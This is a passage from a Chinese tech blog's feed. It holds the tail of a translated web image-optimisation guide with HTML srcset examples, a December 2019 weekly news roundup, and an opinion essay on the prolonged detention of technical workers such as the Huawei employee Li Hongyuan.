Fallback机制,例如:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">picture</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">type</span>=<span class="string">"image/webp"</span> <span class="attr">srcset</span>=<span class="string">"image.webp"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"image.jpg"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"image.jpg"</span> <span class="attr">alt</span>=<span class="string">"Sample image"</span> /></span></span><br><span class="line"><span class="tag"></<span class="name">picture</span>></span></span><br></pre></td></tr></table></figure><p>有很多在线转化工具可以将图像转化成 WebP 格式。如果 CDN 能够提供这种支持就是最为省心了。</p><h1 data-number="5" id="为高像素密度的屏幕的优化"><span class="header-section-number">5</span> 为高像素密度的屏幕的优化</h1><p>这更多的是 UX 方面的改善,而非性能方面的改善。例如在我们子啊一个 <code>768px</code> 宽度的屏幕中展示 <code>768px x 320px</code> 的图像,而这个设备的像素密度是2x,则设备屏幕实际的像素宽度是 <code>2 x 768 = 1536px</code>。那么实际上我们是将一个 <code>768px</code> 的图像拉伸了两倍。为了最优化图像在高分辨率设备上的显示,我们需要额外指定一个两倍甚至三倍分辨率的图像。这一图像通过<code>srcset</code>属性来设置:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"image-1x.jpg"</span> <span class="attr">srcset</span>=<span class="string">"image-2x.jpg 2x"</span> <span class="attr">alt</span>=<span class="string">"Sample image"</span> /></span></span><br></pre></td></tr></table></figure><p>一个完整的响应式的,支持 WebP/PNG 格式以及高分辨率屏幕的例子:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">picture</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/webp/hero-image-420-min.webp 1x, ./images/webp/hero-image-760-min.webp 2x"</span> <span class="attr">type</span>=<span class="string">"image/webp"</span> <span class="attr">media</span>=<span class="string">"(max-width: 440px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/minified/hero-image-420-min.png 1x, ./images/minified/hero-image-760-min.png 2x"</span> <span class="attr">media</span>=<span class="string">"(max-width: 440px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/webp/hero-image-550-min.webp 1x, ./images/webp/hero-image-960-min.webp 2x"</span> <span class="attr">type</span>=<span class="string">"image/webp"</span> <span class="attr">media</span>=<span class="string">"(max-width: 767px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/minified/hero-image-550-min.png 1x, ./images/minified/hero-image-960-min.png 2x"</span> <span class="attr">media</span>=<span class="string">"(max-width: 767px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/webp/hero-image-420-min.webp 1x, ./images/webp/hero-image-760-min.webp 2x"</span> <span class="attr">type</span>=<span class="string">"image/webp"</span> <span class="attr">media</span>=<span class="string">"(max-width: 1023px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/minified/hero-image-420-min.png 1x, ./images/minified/hero-image-760-min.png 2x"</span> <span class="attr">media</span>=<span class="string">"(max-width: 1023px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/webp/hero-image-760-min.webp 1x, ./images/webp/hero-image-960-min.webp 2x"</span> <span class="attr">type</span>=<span class="string">"image/webp"</span> <span class="attr">media</span>=<span class="string">"(max-width: 1919px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/minified/hero-image-760-min.png 1x, ./images/minified/hero-image-960-min.png 2x"</span> <span class="attr">media</span>=<span class="string">"(max-width: 1919px)"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/webp/hero-image-960-min.webp"</span> <span class="attr">type</span>=<span class="string">"image/webp"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">srcset</span>=<span class="string">"./images/minified/hero-image-960-min.png"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"./images/minified/hero-image-960-min.png"</span> <span class="attr">alt</span>=<span class="string">"Example"</span>></span></span><br><span class="line"><span class="tag"></<span class="name">picture</span>></span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>本文翻译自<a href="https://dev.to/prototyp/optimizing-images-for-the-web-an-in-depth-guide-4j7d" target="_blank" rel="noopener">Optimizing images for the web - an in-depth guide</a></p>
<p><img src="https://imgs.codewoody.com/uploads/big/11095b11da720ac41968ed26b81beb9d.jpg"></p>
<p>这篇文章提供了Web开发中涉及图像的一些优化问题:</p>
</summary>
<category term="翻译" scheme="http://www.codewoody.com/tags/%E7%BF%BB%E8%AF%91/"/>
<category term="web" scheme="http://www.codewoody.com/tags/web/"/>
</entry>
<entry>
<title>Weekly-24</title>
<link href="http://www.codewoody.com/posts/4652/"/>
<id>http://www.codewoody.com/posts/4652/</id>
<published>2019-12-02T04:28:48.000Z</published>
<updated>2019-12-13T08:15:38.462Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1><h2 data-number="1.1" id="华为251事件"><span class="header-section-number">1.1</span> <a href="https://zh.wikipedia.org/wiki/%E8%8F%AF%E7%82%BA251%E4%BA%8B%E4%BB%B6" target="_blank" rel="noopener">华为251事件</a></h2><p>华为251事件,又被称之为李洪元事件,是2018年12月16日到2019年8月23日发生于中国大陆的一桩刑事案件。原华为技术有限公司的员工李洪元在离职后,被华为以职务侵占(先被改为泄露商业机密,后再被改为敲诈勒索)为由向警方报案而遭羁押共计251日,终因证据不足而获检察院不起诉处分并释放。2019年11月下旬,案件细节被披露到互联网,迅速引起广大讨论。</p><blockquote><p>这事儿说的太累了,多说感觉也没啥用,还是一贯地💊。</p></blockquote><h2 data-number="1.2" id="美国对多国加征关税"><span class="header-section-number">1.2</span> 美国对多国加征关税</h2><p>为报复法国对互联网巨头开征数字税,美国政府周一宣布将对法国价值24亿美元商品开征最高100%的关税,最早明年1月生效。法国财政部长勒梅尔次日表示,美国对法国商品的关税威胁是“不可接受的”,法国和欧盟准备予以回击。法国经济部副部长卢纳歇尔也表示,法国是很“好斗的”,将在数字税问题上与美国“针锋相对”,决不让步。<a href="https://www.dw.com/zh/%E6%9B%BF%E8%B0%B7%E6%AD%8C%E8%84%B8%E4%B9%A6%E5%A4%8D%E4%BB%87-%E7%BE%8E%E5%9B%BD%E5%A8%81%E8%83%81%E5%90%91%E6%B3%95%E5%9B%BD%E5%BE%81100%E5%85%B3%E7%A8%8E/a-51508085" target="_blank" rel="noopener">source</a></p><p>12月2日,特朗普表示美国将立即“恢复”对从巴西和阿根廷进口的钢铝产品加征关税。特朗普当天在社交媒体发文称,巴西和阿根廷两国货币大幅贬值,这对美国农民不利。他表示美国将立即“恢复”对巴西和阿根廷钢铝产品加征关税。<a href="http://www.xinhuanet.com/world/2019-12/03/c_1125299880.htm" target="_blank" rel="noopener">source</a></p><h2 data-number="1.3" id="北约-70-周年峰会"><span class="header-section-number">1.3</span> 北约 70 周年峰会</h2><p>北约(北大西洋公约组织)各国领导人星期二(12月3日)在伦敦举行为期两天的北约特别峰会<span class="foot-note-span">【发言人尽力避免使用“峰会”这个词,理由是去年刚开过正式的峰会,而今年只是领导人碰个头,交换一下意见,最后也不发布正式公告。<a href="https://www.bbc.com/zhongwen/simp/world-50644305" target="_blank" rel="noopener">source</a>】</span>。今年正值北约成立 70 周年。</p><p><img src="https://imgs.codewoody.com/uploads/big/1528e5582b2543ce9d376aa77758be4a.jpg"></p><p>进来北约似乎诸事不顺。先有法国总统马克龙在接受英国《经济学人》采访时,谈到北约,使用了「脑死亡」这个词。马克龙提到华盛顿决定从叙利亚撤军居然没有通知北约。后来,又有土耳其总统埃尔多安表示,若是北约不认可他们将叙利亚库尔德武装认定为恐怖组织的做法,他们将否决北约防卫波罗的海的一项计划。本来欧洲各国对于美国背叛库尔德人已经怨声载道,要认定库尔德武装为恐怖组织是欧洲各国无法接受的。</p><p>北约峰会周三(12月4日)在伦敦达成一份结束性声明。盟友们重申了相互支持的立场,指出中国是新的挑战,俄罗斯仍然是潜在的风险。北京则回应称,中国是“和平力量”,表示目前世界面临的最大威胁是单边主义和霸凌行径。<a href="https://www.dw.com/zh/北约首次定义中国为挑战/a-51532504?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></p><ul><li><a href="https://www.bbc.com/zhongwen/simp/world-50644305" target="_blank" rel="noopener">北约成立70年: 老兵遇到新情况 未来叵测</a></li><li><a href="https://news.sina.com.cn/c/2019-12-04/doc-iihnzhfz3694622.shtml" target="_blank" rel="noopener">这一届北约峰会上,“大佬们”的嘴仗有点好看</a></li><li><a href="https://www.dw.com/zh/%E5%AF%B9%E5%8D%8E%E6%88%98%E7%95%A5%E6%88%90%E5%8C%97%E7%BA%A6%E5%B3%B0%E4%BC%9A%E9%87%8D%E8%A6%81%E8%AE%AE%E9%A2%98/a-51514705" target="_blank" rel="noopener">对华战略成北约峰会重要议题</a></li></ul><h2 data-number="1.4" id="华为在美国起诉fcc违宪"><span class="header-section-number">1.4</span> <a href="https://www.dw.com/zh/华为在美国起诉fcc违宪/a-51539091?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">华为在美国起诉FCC违宪</a></h2><p>华为周四(12月5日)在总部深圳宣布正式起诉美国联邦通信委员会(FCC),理由是有关禁止华为参与联邦补贴资金项目的决定,违反美国宪法以及其它法令。这是今年华为向特朗普政府提交的第二项诉讼。</p><p>今年11月22日,FCC发表声明认定华为是美国国家安全威胁,由此禁止美国农村地区运营商使用国有的通用服务基金(USF)购买华为设备。华为有30天时间对这一禁令进行抗辩,而强制移除设备的最终命令最早要到明年才会出台。</p><p>华为本次在新奥尔良联邦法院递交的诉状写道,FCC上月不准农村运营商使用国家拨款安装华为和中兴通信设备,是不恰当的做法。在深圳召开的新闻发布会上,华为首席法务官宋柳平说,FCC的决定是出于政治考量,而不是因为风险问题。</p><h2 data-number="1.5" id="支付宝发生短暂崩溃"><span class="header-section-number">1.5</span> <a href="https://www.guancha.cn/ChanJing/2019_12_06_527572.shtml" target="_blank" rel="noopener">支付宝发生短暂崩溃</a></h2><p>12月5日下午5时左右,多地网友反应称,支付宝出现故障导致账号无法正常支付、无法收到验证码、无法登录等一系列问题。</p><p>出现问题之后,“支付宝崩了”一度成为了热搜话题。不过在5时25分,支付宝官方微博回复称:“刚刚,支付宝的机房网络出现了短暂抖动,影响了部分用户的使用体验。一切已经恢复正常,大家的资金和信息安全不会受到影响。”</p><p>与此同时,还有消费者调侃了支付宝,是不是过几天需要还的花呗可以不用还了?</p><p><img src="https://imgs.codewoody.com/uploads/big/c8d76f482d8ac67682b3d186fddc062c.jpg"></p><h2 data-number="1.6" id="其他新闻"><span class="header-section-number">1.6</span> 其他新闻</h2><h3 data-number="1.6.1" id="国内"><span class="header-section-number">1.6.1</span> 国内</h3><ul><li>中国国家能源局原局长努尔·白克力因受贿罪被判处无期徒刑。<a href="https://cn.reuters.com/article/china-ndrc-enr-head-sentence-1202-idCNKBS1Y60XL?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>12 月 5 日,兰州兽医研究所近百名学生布鲁氏杆菌病感染血清型阳性。<a href="https://www.zhihu.com/question/359453806" target="_blank" rel="noopener">source</a></li><li>驻澳门部队某步兵营装甲连记集体一等功。</li><li>12 月 4 日湖南浏阳烟花厂发生爆炸事故。爆炸已致 7 死多伤。<a href="https://www.zhihu.com/question/359303630/answer/923048417" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.6.2" id="国际"><span class="header-section-number">1.6.2</span> 国际</h3><ul><li>中国和巴基斯坦自贸协定第二阶段协议书生效,两国间相互实施零关税产品的税目数比例将从此前的35%逐步增加至75%。<a href="http://sputniknews.cn/economics/201912021030148773/" target="_blank" rel="noopener">source</a></li><li>俄土领导人将于1月8日举行会面,地点定在伊斯坦布尔。<a href="http://sputniknews.cn/russia/201912021030155198/" target="_blank" rel="noopener">source</a></li><li>印度2019年第三季度GDP增速持续下滑到4.5%,为6年多来最低水平。<a href="https://www.zhihu.com/question/358502650/answer/919679607" target="_blank" rel="noopener">source</a></li><li>中俄天然气管道开通,这是苏联解体后俄罗斯最大的能源工程。<a href="http://www.bbc.com/zhongwen/simp/chinese-news-50634140" target="_blank" rel="noopener">source</a></li><li>美国众议院以压倒性优势通过《维吾尔人权正则法案》。<a href="http://www.bbc.com/zhongwen/simp/chinese-news-50654656" target="_blank" rel="noopener">source</a></li><li>韩国歌手车仁河自杀,是近来第三位自杀的韩国艺人。<a href="https://www.dw.com/zh/歌手车仁河殒命-韩流-圈数月内第三宗死亡/a-51528910?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>美国众议院议长佩洛西宣布起草弹劾条款。<a href="http://www.bbc.com/zhongwen/simp/world-50678161" target="_blank" rel="noopener">source</a></li><li>周四,法国有 80 万人走上街头抗议政府退休金改革计划,其人数是「黄背心」辉煌时期的三倍。<a href="https://www.dw.com/zh/25年来最大规模罢工-马克龙执政受考验/a-51550849?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.6.3" id="科技"><span class="header-section-number">1.6.3</span> 科技</h3><ul><li>Google 联合创始人 Larry Page 和 Sergey Brin 不再担任公司管理职位。Google CEO Sundar Pichai 将同时兼任母公司 Alphabet 的 CEO。</li><li>12 月 3 日,罗永浩举办「老人与海」黑科技发布会,发布会涉及的主要技术为佛罗里达大学材料科学教授安东尼·布伦南于2007年创立的 Sharklet Technologies 的抗菌材料。其材料的抗菌原理为模拟鲨鱼皮的围观纹理结构,降低病菌附着的可能。成立十年以后 Sharklet 公司被杭州一家医疗器械资产公司 Peaceful Union 收购。罗永浩与今年加入了的这家公司。 3 日发布的具体产品包括基于 Sharklet 鲨鱼皮技术的抗菌旅行箱,抗菌儿童背包等。<a href="https://36kr.com/p/5271891" target="_blank" rel="noopener">source</a></li><li>12 月 4 日,主题为「为你的笑容而来」的国行 Nintendo Switch<sup style="font-size: 50%">TM</sup> 产品上市发布会,在上海正式举办。发布会上,腾讯携手任天堂宣布,腾讯引进 Nintendo Switch 将于 12 月 10 日正式发售。国行版 Nintendo Switch 为续航增强版且预装《新 超级马力欧兄弟U 豪华版》体验版,官方建议零售价 2099 元,于 12 月 4 日中午 12 时在京东和天猫官方旗舰店开启预售。腾讯同时表示 Nintendo Switch Lite 的引进工作正在筹备中。<a href="https://www.zhihu.com/question/359173802" target="_blank" rel="noopener">source</a></li></ul><p><img src="https://imgs.codewoody.com/uploads/big/953113ef73768c5d57a74617bfcc7205.jpeg"></p><ul><li>华为发布了 ARM 架构的台式机主板,使用自家的 CPU 鲲鹏 920。</li></ul><p><img src="https://imgs.codewoody.com/uploads/big/5153b03dc6abd5e76902e11a9d308fec.jpg"></p><h1 data-number="2" id="言论"><span class="header-section-number">2</span> 言论</h1><ul><li>一个组织不管是出于什么原因而被建立,之后他的首要任务都是维持自身的存在。</li></ul>]]></content>
<summary type="html">
<p><img src="https://imgs.codewoody.com/uploads/big/57ff1d652828123817e2eba8b6061242.jpg"></p>
</summary>
<category term="Weekly" scheme="http://www.codewoody.com/categories/Weekly/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
<category term="科技新闻" scheme="http://www.codewoody.com/tags/%E7%A7%91%E6%8A%80%E6%96%B0%E9%97%BB/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="Weekly" scheme="http://www.codewoody.com/tags/Weekly/"/>
</entry>
<entry>
<title>高技术人才长期羁押问题</title>
<link href="http://www.codewoody.com/posts/62057/"/>
<id>http://www.codewoody.com/posts/62057/</id>
<published>2019-12-01T06:04:11.000Z</published>
<updated>2020-01-22T05:23:13.928Z</updated>
<content type="html"><![CDATA[<p>近期华为一位工程师在获取离职赔偿之后被公司诬告,导致他被羁押了251天的事情再次带来了社会舆论对于技术人才遭遇的这种司法不公的关注。似乎在这种问题上,我国的取保候审制度似乎就成了摆设。</p><a id="more"></a><p>2019年12月2日更新:</p><p><img src="https://imgs.codewoody.com/uploads/big/43ac710fa2ccd3d28caa984742a02dcb.jpg"></p><hr><h1 data-number="1" id="血淋淋的案例"><span class="header-section-number">1</span> 血淋淋的案例</h1><h2 data-number="1.1" id="华为李洪元251天"><span class="header-section-number">1.1</span> 华为·李洪元·251天</h2><p>11月28日一份刑事赔偿决定书在网上流传,一位华为离职员工李洪元索要2N赔偿之后,被华为控告敲诈勒索,于2018年12月16日被拘留,法院认定犯罪事实不清,证据不足,不符合起诉条件,关押251天后李洪元重回自由。</p><p>在法院的宣判文中,深圳龙岗法院表示:深圳市公安局移送审查起诉的犯罪嫌疑人李洪元涉嫌敲诈勒索罪一案退回公安机关第二次补充侦查。深圳市公安局于7月10日提交了《补充侦查报告》,反映了其在与李洪元商谈离职补偿问题时,李洪元根本不存在敲诈勒索的行为。为此,鉴于李洪元的行为根本不构成犯罪或者依法不应追究刑事责任的实际情况,依照《刑事诉讼法》第一百七十三条第一款及第一百七十一条第四款之规定,对华为该员工作出法定不起诉的决定。</p><p>经本院审查并通过补充侦查,仍然认为深圳市公安局认定的犯罪事实不清,证据不足,不符合起诉条件。于2019年8月22日决定对李洪元不起诉。对赔偿请求人李洪元予以国家赔偿,包括人身自由损害赔偿金79300.94元,精神损害抚慰金27755元,两项合计107522. 94元。向李洪元原工作单位、其父亲李洪元所在的工作单位发函、为其消除影响、恢复名誉。</p><p>从宣判文中可见:</p><ol type="1"><li>李洪元2005年入职华为担任工程师,离职前在逆变器销售管理部工作,2018年1月31日离职,在华为工作13年之久,主动离职与辞退离职尚未知晓。</li><li>离职过程中,因为补偿金额发生争议,商议后补偿33万元左右。</li><li>2018年3月8日,李洪元离职近40天后,华为向其转款补偿金,注意是通过私人账号,同时备注转款原因离职经济补偿。</li></ol><p>李洪元得以免除牢狱之灾,还是因为其妻子提供了当时李洪元同HR的谈判录音,才最终证明了李洪元通过私人转账获得的几十万是离职赔偿,而非诈骗款。这么看来,当初HR要以私人账户转33万给李洪元,难道不是提早做局么?</p><p>到目前为止,华为的公关部门广泛在网上删帖屏蔽这一消息,知乎上3000万热度的问题,转眼就没了。微信公众号的文章,也有不少被和谐的。</p><p><img src="https://imgs.codewoody.com/uploads/big/683437d66517279c33c5c90e38092a9c.jpg"></p><p><img src="https://imgs.codewoody.com/uploads/big/5b8a5bd8edde65b8ab8a9d77f29519d4.jpg"></p><p><img src="https://imgs.codewoody.com/uploads/big/79917af689241d7700ee68ab1e120dbd.jpg"></p><p>更多阅读:</p><ul><li><a href="/_posts/2019-11-30-转载-传华为13年老员工离职索要赔偿被关押251天.html">[转载]传华为13年老员工离职索要赔偿被关押251天</a></li><li><a href="https://xueqiu.com/2156146731/136543983" target="_blank" rel="noopener">华为离职员工索要2N赔偿,被告敲诈勒索,羁押251天无罪释放!</a></li></ul><h2 data-number="1.2" id="潍坊中微孙夕庆1277天"><span class="header-section-number">1.2</span> 潍坊中微·孙夕庆·1277天</h2><p>近日,历经4年114次庭审,遭羁押1277天的清华海归博士孙夕庆向澎湃新闻表示,11月7日他已拿到了国家赔偿决定书。审理该案的山东潍坊市高新区法院作出决定:向孙夕庆支付人身自由赔偿金和精神损害抚慰金合计54万余元,并为其在侵权行为影响范围内消除影响、恢复名誉、赔礼道歉。</p><p><img src="https://imgs.codewoody.com/uploads/big/1fd36bbdbd670521994f2328dac8d7ae.jpg"></p><p>澎湃新闻此前报道,2003年,在美国工作的清华博士孙夕庆动员7名海外博士回国,并到潍坊创立中微光电子(潍坊)有限公司(以下简称:潍坊中微),孙夕庆担任董事长兼总裁。但他没有想到,自己多年之后会因为这家企业而陷囹圄。</p><p>潍坊中微成立后,曾一度发展很好,成为全球LED灯具市场上发货量最大的制造商之一,是当地的明星企业。</p><p>2014年7月底,潍坊中微发生董事会纠纷,之后孙夕庆被免去董事长和总裁的职务。一个多月后,<strong>公司一名董事</strong>向公安机关举报孙夕庆利用职务便利侵占公司财产。很快,孙夕庆被公安机关刑事拘留。</p><p>2015年11月,孙夕庆被当地检方提起公诉,被指控的罪名为<strong>虚开增值税发票罪和职务侵占罪</strong>。法庭上,孙夕庆坚称自己无罪,同时认为自己是遭到构陷。</p><p>此案经过一审判决,之后发回重审。庭审笔录显示,这个案件<strong>4年来经历114次庭审</strong>。</p><p>2019年5月9日,潍坊市高新区法院对该案作出刑事裁定书。裁定书显示,当天,开发区检察院以证据发生变化为由,向法院申请撤回对被告单位潍坊中微、被告人孙夕庆,及该案另一被告人乐成文的起诉。</p><p>8月12日下午,潍坊市高新区检察院检察官向孙夕庆宣读了《不起诉决定书》。决定书中称:“经本院审查并退回补充侦查,本院仍然认为潍坊市公安局高新技术产业开发区分局认定的犯罪事实不清、证据不足,不符合起诉条件。”</p><p>随后,孙夕庆提出了2.06亿元国家赔偿申请。10月18日,潍坊高新区法院作出《国家赔偿决定书》。</p><p>决定书显示,孙夕庆从2015年2月3日被刑事拘留至2018年8月2日被采取取保候审强制措施,共被羁押1277天。重审过程中,高新区检察院撤回对孙夕庆起诉并作出不起诉决定,属于发回重审后作无罪处理的情形。依照相关法律和司法解释的规定,孙夕庆有权向法院申请获得国家赔偿。</p><p>决定书中称,赔偿请求人孙夕庆被判决有罪后在重审期间按无罪处理,法院作为赔偿义务机关应依法赔偿孙夕庆支付被羁押1277天期间的人身自由赔偿金,计403455.38元(315.94元/天×1277天)。</p><p>“赔偿请求人孙夕庆因长期被羁押,精神受到损害,且因其被判决有罪,日常生活受到较大影响,社会评价降低,应当认定其精神受到损害且造成严重后果。”决定书中称,法院作为赔偿义务机关应当在侵权行为影响范围内为其消除影响,恢复名誉,赔礼道歉,并支付<strong>精神损害抚慰金141000元</strong>。</p><p>对于孙夕庆主张的刑事案件律师代理费、交通费及家属误工费,以及其主张的因其被羁押致公司业务停顿,其本人持有公司股票价值损失等,高新区法院认为不符合财产权受到损害应予赔偿的情形,驳回了其请求。</p><p>更多阅读:</p><ul><li><a href="https://new.qq.com/omn/20191111/20191111A0BAOQ00.html" target="_blank" rel="noopener">清华海归博士被羁押1277天后检方撤诉 获54万国家赔偿</a></li><li><a href="https://www.zhihu.com/question/355293085/answer/916340624" target="_blank" rel="noopener">如何看待清华海归博士孙夕庆被羁押 1277 天后检方撤诉,获 54 万国家赔偿一事?</a></li></ul><h2 data-number="1.3" id="李宁超过4年至今未放"><span class="header-section-number">1.3</span> 李宁·超过4年至今未放</h2><p>2019年6月24日有媒体报道说,中国工程院院士沈国舫致信媒体表示,中国工程院院士李宁自2014年6月20日以涉嫌贪污公款罪被羁押以来,在超过4年的时间里仍未被法院宣判,“我们很多院士都认为很是不妥”。</p><p>最近一些年,在科研经费问题上,许多科研人员、其中有些是学科带头人乃至国际知名专家都纷纷栽了跟头。李宁正是在此问题“栽”进去的又一典型案例。李宁案发当初,有报道称“包括李宁在内的7名教授,弄虚作假套取国家科技重大专项资金涉嫌2500多万元”。在李宁被捕4年多期间内,该案分别于2014年12月23日、2015年1月26日两次移送吉林省松原市检察院审查起诉,在2015年8月20日、21日于松原市中级法院开庭审理后,近3年时间里,此案再无任何下文。</p><iframe src="//player.bilibili.com/player.html?aid=65045875&cid=112901287&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe><ul><li><a href="https://guancha.gmw.cn/2018-06/25/content_29447959.htm" target="_blank" rel="noopener">院士遭羁押超4年,审而不判不正常</a></li><li><a href="http://finance.sina.com.cn/china/20150312/043421701901.shtml" target="_blank" rel="noopener">令狐安:不追究“逼良为娼”的科研经费报销问题</a></li></ul><h1 data-number="2" id="后人哀之而不鉴之"><span class="header-section-number">2</span> 后人哀之而不鉴之</h1><p>上面这些案子,肯定只是冰山一角。近年来因为维权被诬为诈骗,或者在国家漏洞百出的科研经费管理体系中被人抓辫子等等案例中,其实诬告本身不可怕,因为毕竟上面这些案子,多数最终还是还了受害者一个清白。但是这些案子的可怕之处在于,我们的司法机关可以在没有任何实质证据的情况下,以司法程序中的漏洞,将任何人羁押任意长的时间。至于我们的取保候审制度,什么时候该取保,什么时候不该取保,毫无规则,基本上司法机关说怎么办,那就怎么办。</p><p>事实上,在国内法律上并没有严格意义上的「取保候审」制度,所谓把人从公安机关处保释出来,无从谈起。然而,《刑事诉讼法》第六十四条规定,人民法院、人民检察院和公安机关根据案件情况,对犯罪嫌疑人、被告人可以拘传、取保候审或者监视居住。在法律效果上,取保候审与保释差不多。</p><p>关于取保候审的适用比例,官方没有公布过数据。实务中,犯罪嫌疑人、犯罪嫌疑人近亲属或辩护律师向办案机关提出的取保候审申请,绝大多数都是石投大海,杳无音讯。实务中,公安机关将案件呈送检察院提请批准逮捕,检察院经审查,认为案件证据不足或不构成犯罪,不批准公安机关的呈捕申请的,公安机关才会迫不得已,将刑事拘留变更为取保候审。可以说,在当前的中国,取保候审难,难于上青天。在当前的中国,逮捕是原则,取保候审是例外。</p><h2 data-number="2.1" id="法律面前人人平等吗"><span class="header-section-number">2.1</span> 法律面前人人平等吗</h2><p>其实,法律条款本身严苛与否,与法律是否公平其实是两回事。但问题在,如果李洪元去告任正非,咱们的公安机关会把任正非羁押251天吗?能羁押一天就算我输。因此我们不得不常常去怀疑司法系统有些人的动机。尽管法律规定过于严苛,存在很多漏洞,但是这些司法人员,想必也不是为了照本宣科地维护法律的字面公义吧。企业动用各种政府关系施压司法机关,司法机关做出这种骚操作的链条,实在是屡见不鲜了。</p><h2 data-number="2.2" id="既是运动员也是裁判员"><span class="header-section-number">2.2</span> 既是运动员也是裁判员</h2><p>如果只是说司法机关收到来自外部的压力不得不做这些见不得人的交易,尚且情有可原。但其实很多时候在没有外部压力的情况下司法机关也会做出匪夷所思的操作。为什么呢?这其实是因为中国一个非常常见的现象:有些部门既当运动员,又当裁判员,人家怎么会自己判自己犯规呢?决定拘留人的,是公安机关,决定释放人的,也是公安机关,这不是变相要求公安机关承认自己办错案了吗?反正人被刑事拘留后,被证明没有犯罪事实或因证据不足没有批捕,最终被释放的,公安机关也不算是办错案,不用承担法律责任,不用国家赔偿,为什么要释放呢?</p><p>这就会出现一种极其离奇的现象,就是公安机关拘留某人后,发现其极其可能没有犯罪事实的,依然继续羁押,而不是主动将其释放,等到拘留期即将届满了,公安机关就将该案呈送检察院提请批准逮捕,将这个烫手山芋抛给检察院,如果检察院不批准逮捕的话,就放人;如果检察院批准逮捕的话,就将强制措施变更为逮捕。当然到检察院这里,检察院也不想担责任啊!</p><p>既是运动员也是裁判员的滑稽之处就在于:一方面它违反人的自利天性;另一方面它造成责任不明确的现象,多个机关负责就意味着没有人负责。</p><p>既是运动员也是裁判员的现象并不罕见。我一直关注学术不端的各种新闻,中国清查学术不端的体系也是这种既是运动员也是裁判员的体系。教授出成果了各种宣传表彰的是高校,如果出了学术不端的案子,负责查的也是高校,这不是逼着高校自己打自己的脸么?</p><h2 data-number="2.3" id="学会保护自己"><span class="header-section-number">2.3</span> 学会保护自己</h2><p>其实面对这种腐败的体系的时候,普通人一旦成为主角,实在是毫无办法。面临这种无理由的羁押,在现行法律体系下,人家还真不违法。所以李宁教授被关了四年多还不放出来,就算各方关注,就算众多院士发布公告,也毫无作用。对于那些官僚来说,舆论就算闹到天上,这事不用他们承担什么责任。反之,如果他们放人,就等于承认自己之前的羁押是错误的,到时候就有人要承担责任了吧?也许这种事情只能等相关的胥吏退休或者升职了,换上新人来操作了,才有转圜的空间。</p><p>不过好处是,这种司法乱象还只是他们陈腐僵化的体系的一种被动反应,不至于主动伪造证据,强行判处成有罪(这样做不但没有直接的好处如果日后平反还要担责任),所以大家在和任何人打交道的时候,尤其是涉及比较多金钱的时候一定要留足证据。国家补偿虽然不多,但是好歹比坐牢强多了。</p>]]></content>
<summary type="html">
<p>近期华为一位工程师在获取离职赔偿之后被公司诬告,导致他被羁押了251天的事情再次带来了社会舆论对于技术人才遭遇的这种司法不公的关注。似乎在这种问题上,我国的取保候审制度似乎就成了摆设。</p>
</summary>
<category term="杂谈" scheme="http://www.codewoody.com/categories/%E6%9D%82%E8%B0%88/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
</entry>
<entry>
<title>[转载]传华为13年老员工离职索要赔偿被关押251天</title>
<link href="http://www.codewoody.com/posts/38296/"/>
<id>http://www.codewoody.com/posts/38296/</id>
<published>2019-11-30T11:37:18.000Z</published>
<updated>2019-11-30T11:38:51.379Z</updated>
